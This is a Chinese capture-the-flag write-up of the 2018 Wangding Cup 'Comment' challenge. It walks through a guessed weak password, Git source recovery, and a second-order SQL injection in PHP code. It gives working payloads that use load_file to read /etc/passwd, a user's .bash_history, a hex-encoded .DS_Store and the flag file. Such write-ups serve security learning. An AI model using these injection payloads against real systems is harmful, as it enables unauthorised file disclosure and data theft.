[网鼎杯 2018]Comment
花了挺多时间的一题,学到了很多,很有必要详细记录一下
打开环境,发现是个留言板,想要发贴,需要先登入
zhangwei
zhangwei666
很明显的提示,直接猜中
看着留言板,第一感觉是sql注入 ,一直在找注入点,没找到。后知后觉,还没扫源码
扫下源码 Git泄露,Githacker 恢复下,不过审计后发现代码不完整
git log --reflog
git reset --hard xxx
用以上两个命令,得到完整代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
代码还是比较容易理解的,其实审了好久
分为两块内容
-
write
category 、content 、bo_id 经过 addslashes 转义后写入到数据库的 board 表中
-
comment
将 category 、content 、bo_id 写入到数据库的 comment 表中,不过在这一模块中只有 content 、bo_id是经过 addslashes 转义 的,而 category 则是从数据库的board表中读取我们在 write 模块中输入的内容,并没有经过 addslashes 转义
通过审计可以发现存在二次注入
因为comment模块的 category 是我们在write模块写入的内容,而comment 却只显示 content 内容 (要注意虽然category 是经过 addslashes 转义后写入数据库的,但是取出时是没有被转义的,即没有反斜杠的),我们正是利用这一点进行的二次注入,
write模块:title=1&category=',content=(select load_file('/etc/passwd')),/*&content=111
comment模块: $sql = "insert into comment
set category = '',content=(select load_file('/etc/passwd')),/*',
content = '*/#',
bo_id = '$bo_id'";
注入原理如上 /**/是多行注释符 , # 是单行注释符
在提交留言的时候,提交*/#
,这样就成功闭合了,而且将回显的内容放到了content(这里的content是 我们在write模块中写入的category中的content )里,实现了注入。
经过漫长的爆库、报表、爆字段,结果发现flag不在数据库里...正确做法如下:
1.读取一下/etx/passwd
payload: ',content=(select load_file('/etc/passwd')),/*
得到了www的用户目录。
www:x:500:500:www:/home/www:/bin/bash
我们可以看到 www用户可以登录bash,www为普通用户,家目录为/home/www
- .bash_history文件保存了当前用户使用过的历史命令。我们读取下这个文件 payload :
‘,content=(select load_file(‘//home/www/.bash_history’)),/*
看用户的命令记录
cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
首先是cd到了/tmp/目录,然后unzip了html.zip,然后又把这个.zip文件删除了。然后又把解压得到的html这个文件夹复制到了/var/www/下面,然后又cd到了/var/www/html下,将.DS_Store给删除,然后开启apache2服务。
(这里删除的是/var/www/html下的.DS_Store,而/tmp/html下的.DS_Store没有被删除)
3.读取 /tmp/html下的.DS_Store 。payload: ', content=(select load_file('/tmp/html/.DS_Store')),/*
这里的话,又是一个知识点,按照上面这个payload我们发现是没有回显的,这个时候我们需要进行hex编码
- payload:
', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
发现文件 flag_8946e1ff1ee3e40f.php
5.这里又是一个坑,我们要读取这个文件不能在/tmp目录下,而是要回到/var/www/html
最终payload :', content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
最后一个坑,查看源码获得flag